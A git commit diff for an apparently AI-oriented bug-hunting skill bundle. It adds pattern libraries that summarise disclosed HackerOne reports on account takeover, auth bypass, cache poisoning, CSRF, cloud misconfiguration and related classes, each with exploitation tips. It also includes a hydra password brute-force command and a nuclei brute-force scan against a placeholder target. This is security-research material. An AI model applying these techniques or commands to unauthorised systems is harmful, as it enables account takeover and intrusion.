feat: content-verified disclosed-report grounding + pipeline + 5 skill-body enrichments (#70)

433 distinct HackerOne reports content-verified across 36 pattern-library files; 27 hunt skills get truthful two-tier grounding (report_count=disclosed reports, sources=research/CVE); 5 skill bodies enriched with genuine technique (http-smuggling, html-injection, forgot-password); new harvest/classify/verify pipeline; counts corrected to 83 skills / 58 hunt. All bodies otherwise unchanged. leak-guard/lint/doc-count/pipeline-test/install-smoke all green.

Co-Authored-By: Claude Opus 4.8 <[email protected]>
This commit is contained in:
Sachin SharmaandClaude Opus 4.8 authored and GitHub committed 2026-08-25 02:14:26 +05:30
1 parent b7b2d8edef
commit 5f99e4b96b
74 files changed
+1892 -33

No files matched your search

+1 -1
View File
@@ -12,7 +12,7 @@
{
"name": "claude-bughunter",
"source": "./",
"description": "82-skill bug-hunting & external red-team bundle — 57 hunt-* web/vuln-class + framework skills, enterprise platform attack chains (M365/Entra, Okta, SharePoint, vCenter, SSL-VPN, APK/iOS), recon/OSINT, reporting & validation gates, Burp MCP integration. Skills auto-load by topic; 15 slash commands.",
"description": "83-skill bug-hunting & external red-team bundle — 58 hunt-* web/vuln-class + framework skills, enterprise platform attack chains (M365/Entra, Okta, SharePoint, vCenter, SSL-VPN, APK/iOS), recon/OSINT, reporting & validation gates, Burp MCP integration. Skills auto-load by topic; 15 slash commands.",
"version": "2.1.0",
"author": {
"name": "Sachin Sharma",
+1 -1
View File
@@ -1,6 +1,6 @@
{
"name": "claude-bughunter",
"description": "82-skill bug-hunting & external red-team bundle for Claude Code — 57 hunt-* web/vuln-class + framework skills, enterprise platform attack chains (M365/Entra, Okta, SharePoint, vCenter, SSL-VPN, APK/iOS), recon/OSINT, reporting & validation gates, and Burp MCP integration. Skills auto-load by topic; 15 slash commands included.",
"description": "83-skill bug-hunting & external red-team bundle for Claude Code — 58 hunt-* web/vuln-class + framework skills, enterprise platform attack chains (M365/Entra, Okta, SharePoint, vCenter, SSL-VPN, APK/iOS), recon/OSINT, reporting & validation gates, and Burp MCP integration. Skills auto-load by topic; 15 slash commands included.",
"version": "2.1.0",
"author": {
"name": "Sachin Sharma",
+33
View File
@@ -0,0 +1,33 @@
name: research-tools
# Sanity-gates the report-harvest pipeline. The collectors need network (can't run
# on a hosted runner), but the pure logic (classify / genericize / skeleton) must
# not rot. Network-free.
on:
pull_request:
paths:
- "research/reports/**"
- ".github/workflows/research-tools.yml"
push:
branches: [main]
paths:
- "research/reports/**"
workflow_dispatch:
permissions:
contents: read
jobs:
sanity:
name: report pipeline sanity (network-free)
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: actions/setup-python@v5
with:
python-version: "3.12"
- name: py_compile pipeline
run: python3 -m py_compile research/reports/*.py
- name: pipeline logic self-test
run: python3 research/reports/test_pipeline.py
+8
View File
@@ -66,3 +66,11 @@ recon/
# Maintainer-only plaintext client-identifier denylist (never commit names)
scripts/.identifier-denylist.local
New_version/
# report-harvest pipeline: local runtime artifacts (raw corpus names real programs;
# drafts/gaps are pre-curation). Never committed — only the tooling under
# research/reports/*.py + README are tracked.
research/reports/raw/
research/reports/drafts/
research/reports/gaps.md
research/reports/processed.json
+16
View File
@@ -7,6 +7,22 @@ versioning is loosely [SemVer](https://semver.org/) at the bundle level.
## [Unreleased]
### Added
- **Disclosed-report grounding, content-verified** — 28 `hunt-*` skills strengthened
with cited public HackerOne disclosures. **433 distinct disclosed reports** are now
individually cited across **36 pattern-library files** in `docs/disclosed-reports/`.
New personal-research pipeline under `research/reports/` (`harvest_h1.py` metadata
collector, `classify_reports.py` class router, `verify_citations.py` credibility gate).
Every citation is **content-verified**: `verify_citations.py` fetches each report's
public subject and confirms it corroborates the skill it's cited under — **433 reports,
0 mismatch, 0 weak**. `report_count` convention is now explicit: *distinct cited
disclosed-report URLs* (grep-auditable), documented in
`docs/disclosed-reports/README.md`. Two-tier grounding — `report_count` counts
disclosed reports only; deeper web/API technique is cited under `sources:`
(research / CVE). The `681` headline stays the pattern-count; `433` is the
now-auditable cited-report count. Some counts reconciled **down** where a prior number
was asserted without a backing corpus (e.g. `hunt-source-leak` 31→7) — honesty, not a
coverage loss: **every SKILL.md methodology body is unchanged**, the delta is purely
additive grounding. Targets genericized (technique kept, victim dropped); leak-guard clean.
- **Native Windows install ** — every `.sh` installer now has a PowerShell
counterpart: `scripts/install.ps1`, `scripts/install-community-skills.ps1`, `scripts/hunt.ps1`.
Same behavior, same flags (hyphen-style: `-All`, `-Agents`, `-Hermes`, `-BurpMcp`, `-NoProfile`,
+1 -1
View File
@@ -2,7 +2,7 @@
# claude-bughunter
> A self-contained Claude skill bundle for bug hunting and external red-team work · **83 skills** · 15 slash commands · **681 disclosed-report patterns** across 24 core vulnerability classes · enterprise identity + infrastructure attack matrices · engagement-folder scaffolding · Burp MCP integration · battle-tested across authorized red-team and bug-hunting engagements, plus public training platforms (DVWA, OWASP Juice Shop, Hacker101, testphp.vulnweb.com).
> A self-contained Claude skill bundle for bug hunting and external red-team work · **83 skills** · 15 slash commands · **681 disclosed-report patterns** (433 now individually cited & auditable) across 24 core vulnerability classes · enterprise identity + infrastructure attack matrices · engagement-folder scaffolding · Burp MCP integration · battle-tested across authorized red-team and bug-hunting engagements, plus public training platforms (DVWA, OWASP Juice Shop, Hacker101, testphp.vulnweb.com).
Built by **[Sachin Sharma](https://www.linkedin.com/in/sachinsharma8080/)** — Bug Hunting & GenAI Security Research.
+1 -1
View File
@@ -98,7 +98,7 @@ hunt-html-injection hunt-fintech-graphql
Plus alternates: `hunt-cache-poison`, `hunt-race-condition`, `hunt-subdomain`. Plus the meta-router `hunt-dispatch` (used internally by the `/hunt` slash command — not user-invoked).
**Total disclosed reports curated**: 681 (plus enterprise CVE catalogues that aren't measured in H1-report counts)
**Total disclosed reports curated**: 681 — 433 now individually cited & auditable across 36 pattern-library files (plus enterprise CVE catalogues that aren't measured in H1-report counts)
**How auto-triggering works**: just describe what you're testing — e.g., *"I see a `?url=` parameter on this endpoint"* — and Claude loads only `hunt-ssrf`. You don't invoke them by name.
+56
View File
@@ -0,0 +1,56 @@
# Disclosed-report pattern libraries
Each `hunt-<class>.md` here is the **cited grounding** behind the matching
`skills/hunt-<class>/SKILL.md`. The SKILL.md holds the methodology an operator
runs; these files hold the *public disclosures that prove the patterns are real*.
They are distilled + cited, never verbatim — the technique is the value, not the
victim.
## The `report_count` convention
A skill's `report_count:` frontmatter = **the number of distinct disclosed-report
URLs cited in its pattern library** (`grep -oE 'reports/[0-9]+'` → unique). It is
grep-auditable: the number always equals what you can count in the file. Nothing
is asserted that a reader can't click.
- Counts that went **up** = real cited reports added.
- Counts that went **down** (e.g. `hunt-source-leak` 31→7) = a prior number was
asserted *without* a backing corpus and has been reconciled to what's actually
cited. This is honesty, not lost coverage — **the SKILL.md methodology body is
unchanged**; only the grounding count is now truthful.
The repo-wide `681` headline is a different measure — the count of distilled
**patterns** across the core classes — and is kept as-is. `433` is the
now-auditable count of **individually cited disclosed reports**. Both numbers,
stated side by side, mean what they say.
## Two-tier grounding (web + API)
Deep API bugs (mass-assignment, BOLA/BFLA, shadow/zombie APIs, GraphQL depth) are
rarely disclosed publicly, so H1 reports under-cover them. Those skills are
grounded on a **second tier** cited under `sources:` in the SKILL.md
(PortSwigger / Assetnote research, named CVEs) rather than `report_count`. The two
tiers are labeled distinctly and never conflated: `report_count` = disclosed
reports only; `sources:` = research / CVE grounding.
## The credibility gate
`research/reports/verify_citations.py` is the check that makes these files
trustworthy. For every cited report it fetches the **public** subject (title +
`<meta>` summary), re-runs the class router over that content, and flags any
report whose actual subject does not corroborate the skill it's cited under:
```
python3 research/reports/verify_citations.py # verify all
python3 research/reports/verify_citations.py --skill hunt-saml
```
Current state: **433 unique cited reports — 0 mismatch, 0 weak.** Every citation
is content-verified. Re-run this after adding any citation.
## Genericization rule
Targets are always genericized — victim hostnames/company names are dropped, the
**technique** and the **report URL** are kept. `scripts/scan_identifiers.py`
(leak-guard) runs over every change; a real target name in prose is a bug, not a
citation.
+37
View File
@@ -0,0 +1,37 @@
# hunt-ato — Pattern Library
> Patterns and verifiable public examples behind `hunt-ato`. Operator-grade reference, not a complete enumeration. Targets genericized; report URLs cited. Distilled from disclosed HackerOne reports. Complements the skill's 9-path ATO taxonomy with real disclosures.
Account takeover is the highest-intent bug class — the proof is a session in someone else's account. The disclosures below cluster around the primitives that recur: leaked session material, credential-change flows that skip verification, identity-provider misconfiguration, and cross-user parameter tampering in billing/recovery.
## Cited Public Examples
### Disclosed session material → replay ATO
- **Source:** A valid session cookie disclosed to the wrong party enabled full account takeover on replay (<https://hackerone.com/reports/745324>, $20,000).
- **Pattern shape:** A session token or cookie escapes to a place the attacker can read it — a response body, an error page, a referer header, a support export, a log. Because the token *is* the authentication, replaying it grants the victim's session outright; no password needed.
- **Key trick:** Grep every response, referer, and exported artifact for the session-cookie name; test whether the token is bound to anything (IP, UA, fingerprint) or is a bare bearer of identity. A token that authenticates from a fresh client with no binding is the finding.
- **Why it matters:** Direct, no-interaction ATO. Chains from any disclosure/`hunt-source-leak` finding that happens to expose session material.
### Credential-change / passwordless flow without verification
- **Source:** A passwordless-signup endpoint let an attacker change any user's password given only their phone number (<https://hackerone.com/reports/143717>); a logic flaw in the recovery flow yielded ATO (<https://hackerone.com/reports/1114347>).
- **Pattern shape:** A password-reset, passwordless-login, or email/phone-change endpoint performs the credential mutation without re-verifying ownership of the account or the new identifier — so knowing (or guessing) a victim identifier is enough to seize the account.
- **Key trick:** Map every endpoint that *changes* an auth factor (password, email, phone, MFA). For each, test whether it verifies the *current* factor and re-verifies the *new* one. The bug is almost always a missing check on one side.
- **Why it matters:** The most common ATO root cause; pairs with `hunt-forgot-password` and `hunt-mfa-bypass`.
### Identity-provider / OAuth-Cognito misconfiguration → account binding
- **Source:** An AWS Cognito API misconfiguration allowed account takeover (<https://hackerone.com/reports/1342088>); a creator-platform account could be hijacked under specific identity conditions (<https://hackerone.com/reports/1679734>).
- **Pattern shape:** The app delegates identity to a provider (Cognito, OAuth, social login) but misconfigures it — self-service attribute updates, unverified-email account linking, or a Cognito user-pool API reachable by the client — letting an attacker bind their credential to a victim's account.
- **Key trick:** Enumerate the provider surface (Cognito `InitiateAuth`/`UpdateUserAttributes`, OAuth `redirect_uri`/account-link). Test whether an unverified email or attacker-set attribute can attach to an existing account. Pairs with `hunt-oauth`.
- **Why it matters:** Modern ATO increasingly lives in the identity layer, not the password form.
### Cross-user parameter tampering in billing/subscription
- **Source:** Manipulating subscription parameters let an attacker act on another user's account/billing (<https://hackerone.com/reports/394329>, $8,000).
- **Pattern shape:** A billing, subscription, or account-settings request carries a user/account identifier the server trusts. Swapping it applies the action (subscribe, change plan, take over) to the victim — an IDOR whose object is the account itself.
- **Key trick:** In every state-changing account/billing request, swap the account/user ID for a victim's and check server-side enforcement. Overlaps `hunt-idor`; kept here when the outcome is account control.
- **Why it matters:** Turns a routine IDOR into ATO, which is why it pays as Critical.
### Further disclosed reports (this class)
Additional high-signal public disclosures exemplifying the patterns above; read at source for full technique.
- <https://hackerone.com/reports/136885> — $8000
@@ -0,0 +1,19 @@
# hunt-auth-bypass — Pattern Library
> Patterns and verifiable public examples behind `hunt-auth-bypass`. Operator-grade reference, not a complete enumeration. Complements the SAML-XSW / parser-differential / JWT patterns already grounded in `SKILL.md` (incl. GitHub Enterprise CVE-2025-25291/25292). Targets genericized; report URLs cited.
Authentication bypass is the highest-severity access class — reach an authenticated identity without its credential. Beyond the SAML/JWT internals in the skill body, these disclosures cluster on SSO/federation integration flaws and weaker alternate-auth paths.
## Cited Public Examples
### SSO / federation integration authentication bypass
- **Source:** An SSO plugin that allowed authentication bypass on the CMS it fronted (<https://hackerone.com/reports/136169>, $10,000); chained issues extracting SSO login tokens (<https://hackerone.com/reports/265943>, $7,500); an authentication bypass via SSH certificate handling on an enterprise server (<https://hackerone.com/reports/1901040>, $10,000).
- **Pattern shape:** A third-party SSO/federation integration (SAML/OIDC plugin, SSH-cert trust, token bridge) trusts an assertion, token, or certificate without fully validating its issuer, signature, or binding — letting an attacker forge or replay it to authenticate as another identity.
- **Key trick:** Enumerate the SSO/cert trust path; test whether the plugin validates issuer/audience/signature and binds the assertion to the session. Pairs with `hunt-saml`/`hunt-jwt-crypto` for the token internals.
- **Why it matters:** Bypasses the primary auth boundary entirely; the integration layer is where auth-bypass increasingly lives.
### Improper-authentication in recovery / alternate flows
- **Source:** An improper authentication mechanism in an account-recovery process enabling takeover (<https://hackerone.com/reports/2443228>, $12,000); a subdomain takeover chained into an authentication bypass (<https://hackerone.com/reports/335330>).
- **Pattern shape:** An alternate authentication path — account recovery, a trusted subdomain, a device-trust flow — validates identity more weakly than the primary login, so an attacker reaches an authenticated state without the primary credential (or by controlling a trusted-but-danging asset).
- **Key trick:** Map every path that yields authentication besides the main login; test each for weaker validation. Chained subdomain-takeover → cookie/trust abuse is a recurring auth-bypass primitive (pairs with `hunt-subdomain`).
- **Why it matters:** The weakest auth path defines the account's real security; recovery/trust flows are consistently it.
@@ -149,3 +149,27 @@ hydra -l [email protected] -P /usr/share/wordlists/rockyou.txt target.com \
# nuclei rate-limit
nuclei -u https://target.com -t brute-force/ -severity medium,high,critical
```
### No rate-limit on short codes / tokens (invite, OTP, recovery)
- **Source:** Brute-forceable promotion/invite codes with no protection (<https://hackerone.com/reports/125505>, $5,000); a recovery code brute-forceable from SMS because the client enforced no attempt limit (<https://hackerone.com/reports/743545>).
- **Pattern shape:** A short numeric/alphanumeric secret (invite code, OTP, SMS recovery code, coupon) is verified server-side with no attempt limit, lockout, or exponential backoff. The keyspace (often 10^4–10^6) is exhaustible in minutes.
- **Key trick:** Compute the keyspace and the observed request rate; if no lockout/backoff triggers after dozens of wrong attempts, it's brute-forceable. Watch for client-only limits (mobile apps) that the API doesn't enforce.
- **Why it matters:** Directly reaches OTP/recovery → ATO; the low-effort, high-yield rate-limit class.
### Credential stuffing / unthrottled authentication endpoints
- **Source:** Documented credential-stuffing attacks against unthrottled auth (<https://hackerone.com/reports/1007689>); brute-forceable access to an admin panel (<https://hackerone.com/reports/128114>, $1,000).
- **Pattern shape:** A login/auth endpoint (including admin panels and legacy `basic-auth` interfaces) lacks rate-limiting, CAPTCHA, or anomaly detection, permitting credential stuffing and password brute-force at scale.
- **Key trick:** Test the auth endpoint and its variants (API login, mobile endpoint, admin subdomain) for absence of lockout/CAPTCHA after N failures. Legacy/admin subdomains found via recon are frequent unthrottled targets.
- **Why it matters:** Credential stuffing is the most common real-world ATO vector; pairs with `hunt-source-leak`/breach-corpus findings for the credential list.
### No rate-limit on account-creation / abuse endpoints
- **Source:** Absent rate-limiting on an account-creation endpoint enabling automated abuse (<https://hackerone.com/reports/2915502>).
- **Pattern shape:** Account creation, message sending, or resource-provisioning endpoints lack rate-limiting, enabling spam, resource exhaustion, or enumeration at scale.
- **Key trick:** Script the creation/abuse endpoint and confirm no throttle. Distinguish a true security gap (enables enumeration/abuse) from a mere hardening nit; tie it to a concrete impact.
- **Why it matters:** Lower-tier alone, but enables enumeration and abuse chains; frequently the entry point for a larger finding.
### Further disclosed reports (this class)
Additional high-signal public disclosures exemplifying the patterns above; read at source for full technique.
- <https://hackerone.com/reports/127844> — $0
@@ -32,6 +32,48 @@ Business logic bugs pay because they cross the gap between "the server processed
---
### Payment state-machine abuse → funds without payment
- **Source:** A double payout via mishandled payment-provider transaction states — withdraw money without the funds being deducted (<https://hackerone.com/reports/307239>, $10,000); modifying in-flight data to a payment provider to generate wallet balance (<https://hackerone.com/reports/1295844>, $7,500).
- **Pattern shape:** The app's payment state machine trusts a provider callback or client-supplied transaction state. By replaying, racing, or tampering the intermediate state (pending→completed, refund+capture, in-flight amount/currency), the attacker gets goods/balance without a matching charge.
- **Key trick:** Map the full payment flow (initiate → provider redirect → callback → fulfilment). Tamper each hop: replay the success callback, change amount/currency in the in-flight request, cancel-after-fulfil. Confirm a *ledger* effect (balance/goods), not just a 200.
- **Why it matters:** Directly monetizable; consistently high-bounty. Pairs with `hunt-race-condition` when the flaw is a timing window.
### One-time incentive reused (coupon / fee discount / reward)
- **Source:** A fee discount redeemable many times, compounding financial loss (<https://hackerone.com/reports/1849626>, $5,000).
- **Pattern shape:** A discount, coupon, referral credit, or fee waiver intended for single/limited use lacks server-side idempotency — reusing it (sequentially or via race/alias) stacks the benefit arbitrarily.
- **Key trick:** Apply the incentive, then reapply back-to-back and in parallel (single-packet). If the second application succeeds, there's no server-side single-use enforcement.
- **Why it matters:** Classic logic-flaw money bug; overlaps `hunt-race-condition` for the parallel variant.
### Approval / workflow-stage bypass & run-as-another-user
- **Source:** Self-approving an admin approval and changing an effective date (<https://hackerone.com/reports/1543159>, $5,000); running pipeline jobs as an arbitrary user (<https://hackerone.com/reports/894569>, $12,000); an OTP flaw allowing binding of any phone number (<https://hackerone.com/reports/2588329>).
- **Pattern shape:** A multi-stage workflow (approval, review, effective-dating, CI job execution, phone verification) can be forced past a stage or executed in another principal's context — the server enforces the *happy path* order/identity but not each transition independently.
- **Key trick:** For each workflow, attempt to invoke a *later* step directly, self-approve, or set the actor/effective values client-side. The bug is a missing per-transition authorization check.
- **Why it matters:** High-impact (privilege/identity abuse) and hard for scanners to find — the lowest-dup logic class.
### Further disclosed reports (this class)
Additional high-signal public disclosures exemplifying the patterns above; read at source for full technique.
- <https://hackerone.com/reports/3183520> — $3000
- <https://hackerone.com/reports/423467> — $0
- <https://hackerone.com/reports/407971> — $2500
- <https://hackerone.com/reports/1133118> — $0
- <https://hackerone.com/reports/334205> — $2500
- <https://hackerone.com/reports/1408782> — $2000
- <https://hackerone.com/reports/999789> — $0
- <https://hackerone.com/reports/938021> — $2000
- <https://hackerone.com/reports/300748> — $0
- <https://hackerone.com/reports/771694> — $0
- <https://hackerone.com/reports/1770797> — $500
- <https://hackerone.com/reports/511044> — $0
- <https://hackerone.com/reports/2295958> — $1000
- <https://hackerone.com/reports/328526> — $0
- <https://hackerone.com/reports/2885636> — $0
- <https://hackerone.com/reports/364843> — $0
- <https://hackerone.com/reports/321699> — $0
- <https://hackerone.com/reports/783258> — $0
- <https://hackerone.com/reports/672664> — $0
## Pattern Library
### Negative quantity / negative price
@@ -32,6 +32,26 @@ Cache poisoning is the highest-leverage class of HTTP bug — one request stored
---
### Unkeyed input poisons cache → persistent DoS
- **Source:** An invalid `Transfer-Encoding` header used to replace cached content and impact core functionality (<https://hackerone.com/reports/622122>, $9,700); persistently blocking all redirects via cache poisoning (<https://hackerone.com/reports/409370>, $2,500); a WP-JSON endpoint made unavailable via cache poisoning (<https://hackerone.com/reports/591302>).
- **Pattern shape:** A request header or input that is **not part of the cache key** (unkeyed) influences the response, so an attacker sends one poisoning request and the broken/hostile response is served from cache to every subsequent visitor of that URL — denial of service or content replacement.
- **Key trick:** Use Param Miner to find unkeyed inputs (headers, query params). Poison a benign path with a distinctive marker, then confirm a *second* clean request receives it from cache. For DoS, an oversized/invalid header that the origin errors on but the cache stores is the primitive.
- **Why it matters:** One request affects all users of a cached path; DoS-via-cache is a recurring high-vote class.
### Cache/origin normalization disagreement (host / backslash / path)
- **Source:** Cache servers treating backslashes differently from the origin, enabling web cache poisoning on CDN domains (<https://hackerone.com/reports/1695604>, $3,800); Host-header web cache poisoning (<https://hackerone.com/reports/1096609>, $2,900).
- **Pattern shape:** The cache and the origin normalize the request differently — backslash vs slash, case, trailing chars, or which Host/X-Forwarded-* they key on — so a crafted request is cached under a key that legitimate users will hit, serving them the attacker's response.
- **Key trick:** Probe delimiter/normalization differences (`\`, `;`, `%2f`, duplicate Host) and check whether the cached key differs from the requested one. Pairs with `hunt-host-header`.
- **Why it matters:** Turns a parser discrepancy into mass response control on CDN-fronted assets.
### Further disclosed reports (this class)
Additional high-signal public disclosures exemplifying the patterns above; read at source for full technique.
- <https://hackerone.com/reports/1181946> — $0
- <https://hackerone.com/reports/84601> — $0
- <https://hackerone.com/reports/977851> — $1000
## Pattern Library
### Unkeyed `X-Forwarded-Host` reflection
@@ -0,0 +1,19 @@
# hunt-captcha-bypass — Pattern Library
> Patterns and verifiable public examples behind `hunt-captcha-bypass`. Operator-grade reference, not a complete enumeration. Cited examples are widely-discussed public disclosures; targets are genericized (the technique is the value, not the specific victim). Distilled from disclosed HackerOne reports; each entry links its source.
CAPTCHA/anti-automation bypass is only a finding when it unlocks a *consequential* abuse: OTP/credential brute-force, mass account creation, or challenge-token leak. The bug is the control being skippable (token reuse, response omission, race), proven by the protected action completing without a valid solve.
## Cited Public Examples
### Challenge token reuse / omission → protection skipped
- **Source:** Disclosed across multiple programs (<https://hackerone.com/reports/206653>, <https://hackerone.com/reports/210417>, <https://hackerone.com/reports/246801>).
- **Pattern shape:** The captcha/challenge response token is reusable, verifiable-once-then-reusable, or the request succeeds when the token param is removed/empty — so the protected action (login, register, OTP) proceeds unthrottled.
- **Key trick:** Solve once, then replay the token N times; also try deleting the token param and sending an empty value. If the action still completes, the control is bypassed. Chain to `hunt-brute-force`.
- **Why it matters:** Re-enables the brute-force/mass-abuse the captcha existed to stop; severity = the unlocked action.
### Further disclosed reports (this class)
- <https://hackerone.com/reports/739737>
- <https://hackerone.com/reports/1655629>
- <https://hackerone.com/reports/236398>
@@ -0,0 +1,19 @@
# hunt-clickjacking — Pattern Library
> Patterns and verifiable public examples behind `hunt-clickjacking`. Operator-grade reference, not a complete enumeration. Cited examples are widely-discussed public disclosures; targets are genericized (the technique is the value, not the specific victim). Distilled from disclosed HackerOne reports; each entry links its source.
Clickjacking matters only when a framed action has real consequence — an account-state change, a fund transfer, a permission grant — and lacks frame-busting (`X-Frame-Options` / `frame-ancestors`). The proof is the sensitive action completing inside your iframe, not the missing header alone.
## Cited Public Examples
### Framed sensitive action → account takeover / state change
- **Source:** Disclosed across multiple programs (<https://hackerone.com/reports/2119892>, <https://hackerone.com/reports/643274>, <https://hackerone.com/reports/85624>).
- **Pattern shape:** A consequential action (email change, OAuth grant, connect-account, delete) is reachable in a frame with no frame-ancestors policy. A UI-redress overlay tricks the victim into completing it.
- **Key trick:** Frame the sensitive endpoint, overlay decoy UI, and confirm the state change fires from a victim click. A missing `X-Frame-Options` on a static page is Info; on a state-changing authenticated action it's the bug. Show the completed action.
- **Why it matters:** Escalates a 'missing header' Info into a real ATO/state-change. The consequence of the framed action is the severity.
### Further disclosed reports (this class)
- <https://hackerone.com/reports/591432>
- <https://hackerone.com/reports/921709>
- <https://hackerone.com/reports/2964441>
@@ -0,0 +1,37 @@
# hunt-cloud-misconfig — Pattern Library
> Patterns and verifiable public examples behind `hunt-cloud-misconfig`. Operator-grade reference, not a complete enumeration. Targets genericized; report URLs cited. Distilled from disclosed HackerOne reports.
Cloud/infrastructure misconfiguration pays because the surface is enormous and the proof is direct — an anonymous read of a private bucket, a login to an admin console, a broker with default creds. The disclosures below cluster on exposed admin/CI consoles, cloud credentials in public artifacts, open object storage, and exposed data/messaging services.
## Cited Public Examples
### Internet-exposed admin / CI console with weak or any-account auth → RCE
- **Source:** A production Jenkins instance that accepted login with any valid Google account, yielding job execution (<https://hackerone.com/reports/231460>, $15,000).
- **Pattern shape:** A CI/admin console (Jenkins, Grafana, Kibana, Airflow, a cloud dashboard) is reachable from the internet with weak SSO ("any Google account"), default creds, or skip-login. Console access → arbitrary job/build execution → RCE and secret theft.
- **Key trick:** Fingerprint the console (favicon, `/login`, headers), then test whether *any* account or an unscoped SSO domain is accepted. On Jenkins, `/script` (Groovy console) is RCE once in. Confirm access read-only before stopping.
- **Why it matters:** One exposed CI console = code execution + pipeline secrets. Consistently Critical.
### Cloud/SaaS credentials committed to a public artifact
- **Source:** A cloud IdP API key in a public GitHub repository granting infrastructure access (<https://hackerone.com/reports/716292>).
- **Pattern shape:** An AWS/GCP/IdP/SaaS key is committed to a public repo, gist, or shipped artifact. Unlike a scoped client key, these carry infra/admin scope — possession grants console or API access to the environment.
- **Key trick:** Scan the org's public repos + members' repos (trufflehog, gitleaks) and validate scope read-only (`sts get-caller-identity`, IdP `whoami`). Overlaps `hunt-source-leak`; kept here when the credential unlocks *cloud infrastructure*.
- **Why it matters:** Direct infra compromise from a single leaked key.
### Public / world-writable object storage
- **Source:** A publicly-readable S3 bucket exposing internal assets (<https://hackerone.com/reports/1021906>, $2,900); an open S3 bucket allowing anonymous listing and download (<https://hackerone.com/reports/361438>).
- **Pattern shape:** An S3/GCS/Azure bucket allows anonymous `GetObject`/`ListBucket` (data exposure) or `PutObject`/`PutObjectAcl` (world-writable → content injection, supply-chain). Bucket names are guessable from the org/app name.
- **Key trick:** Enumerate bucket names (`<org>-assets`, `<app>-prod`, permutations), test anonymous `ListBucket` and a benign `PutObject`. Public *write* is far more severe than public read — always test both.
- **Why it matters:** The highest-frequency cloud finding; write-access chains to stored XSS / supply-chain.
### Exposed data / messaging service with default or no auth
- **Source:** A staging RabbitMQ broker exposed to the internet with default credentials (<https://hackerone.com/reports/753602>).
- **Pattern shape:** A message broker (RabbitMQ/Kafka), database (Redis/Elasticsearch/Mongo), or management port is internet-reachable with default (`guest:guest`) or absent auth, exposing queues, data, and often live credentials/tokens flowing through them.
- **Key trick:** Port-scan the public range for broker/DB management ports (15672, 9200, 6379, 27017); test default creds and unauthenticated management APIs. Capture what flows through before reporting.
- **Why it matters:** Non-prod brokers routinely carry prod secrets; relocated here from `hunt-source-leak` because the pivot is the exposed *service*, not a source artifact.
### Further disclosed reports (this class)
Additional high-signal public disclosures exemplifying the patterns above; read at source for full technique.
- <https://hackerone.com/reports/352869> — $1000
+37
View File
@@ -32,6 +32,42 @@ CSRF pays when the affected action has a real account-level or financial consequ
---
### CSRF protection missing / bypassable on a sensitive function
- **Source:** A management-console CSRF-protection bypass (via a path-traversal in the token path) on an enterprise server (<https://hackerone.com/reports/1497169>, $10,000); an integration-setup flow lacking CSRF protection (<https://hackerone.com/reports/170552>, $2,500).
- **Pattern shape:** A state-changing endpoint either omits an anti-CSRF token, accepts requests without validating it, or the token check is bypassable (predictable, reflected, or reachable via a traversal/parser quirk). An attacker-hosted page forces the victim's authenticated browser to perform the action.
- **Key trick:** For each sensitive POST, strip the CSRF token and replay; swap it for another user's; change `Content-Type` to bypass a naive check; test whether the token is validated at all. Confirm the action executes cross-origin.
- **Why it matters:** Classic but still pays on admin/integration/config endpoints where the impact is high.
### Mobile deeplink / cross-app CSRF
- **Source:** A mobile-app deeplink used to perform a CSRF "follow" action (<https://hackerone.com/reports/583987>, $1,540).
- **Pattern shape:** A mobile app registers a deeplink/custom-URL-scheme handler that triggers a state-changing action using the app's authenticated session, without an origin/intent check — a web page or another app invokes the deeplink to force the action.
- **Key trick:** Enumerate the app's deeplinks/intent filters; craft one that performs a sensitive action and trigger it from a web page. Pairs with `hunt-dom`/mobile redteam skills.
- **Why it matters:** The mobile analog of CSRF, frequently missed because web CSRF defenses don't cover custom schemes.
### CSRF / XSSI chained to token or data theft → ATO
- **Source:** An issue leaking an access token alongside other third-party data via insufficient URL validation (<https://hackerone.com/reports/1923672>, $2,450); XSSI enabling email-address theft and posting on the victim's behalf (<https://hackerone.com/reports/450796>, $3,500).
- **Pattern shape:** A cross-site request reads a response containing secrets — an OAuth code, an access token, or PII — because the endpoint returns sensitive JSON without anti-XSSI protection, or a redirect/validation flaw leaks the token cross-origin.
- **Key trick:** Look for JSON/JS endpoints that return secrets and lack `X-Content-Type-Options`/parser guards; test cross-origin readability. Chains to `hunt-ato` when the leaked value is an auth token.
- **Why it matters:** Elevates CSRF/XSSI from "force an action" to "steal the session."
### Further disclosed reports (this class)
Additional high-signal public disclosures exemplifying the patterns above; read at source for full technique.
- <https://hackerone.com/reports/805073> — $2940
- <https://hackerone.com/reports/1493437> — $2500
- <https://hackerone.com/reports/1543234> — $2500
- <https://hackerone.com/reports/807924> — $0
- <https://hackerone.com/reports/103787> — $2500
- <https://hackerone.com/reports/994504> — $1900
- <https://hackerone.com/reports/463330> — $0
- <https://hackerone.com/reports/47472> — $2000
- <https://hackerone.com/reports/442901> — $0
- <https://hackerone.com/reports/1727221> — $0
- <https://hackerone.com/reports/1087436> — $1000
- <https://hackerone.com/reports/624645> — $1000
- <https://hackerone.com/reports/15412> — $1000
## Pattern Library
### Classic POST CSRF — no token, cookie-authed
@@ -135,3 +171,4 @@ CSRF pays when the affected action has a real account-level or financial consequ
- **Looks like:** Operator probes a cross-origin `fetch()` with `Content-Type: application/json`, browser issues an OPTIONS preflight, server returns 403 — operator concludes CSRF is blocked.
- **Actually is:** Preflight only fires on CORS-non-simple requests. Simple requests (GET, HEAD, form POST with `text/plain`/`application/x-www-form-urlencoded`/`multipart/form-data`) bypass preflight entirely. CSRF via HTML form submission is a simple request and never triggers preflight regardless of what the server returns to OPTIONS.
- **How to disprove:** Switch from `fetch` to an HTML form submission. If the form-POST succeeds without a preflight, CSRF is exploitable. The preflight 403 was a red herring.
+32
View File
@@ -0,0 +1,32 @@
# hunt-dom — Pattern Library
> Patterns and verifiable public examples behind `hunt-dom`. Operator-grade reference, not a complete enumeration. Targets genericized; report URLs cited. Distilled from disclosed HackerOne reports. Focus: client-side DOM sinks — the delta from server-reflected XSS (`hunt-xss`).
Client-side DOM bugs pay because they bypass server-side XSS filters entirely — the sink executes in the browser from data the server never sees (URL fragment, `postMessage`, `window.name`). The disclosures below cluster on the two dominant sources: cross-window messaging with missing origin checks, and URL-derived data flowing into a DOM sink.
## Cited Public Examples
### postMessage handler with missing / incomplete origin validation → DOM XSS
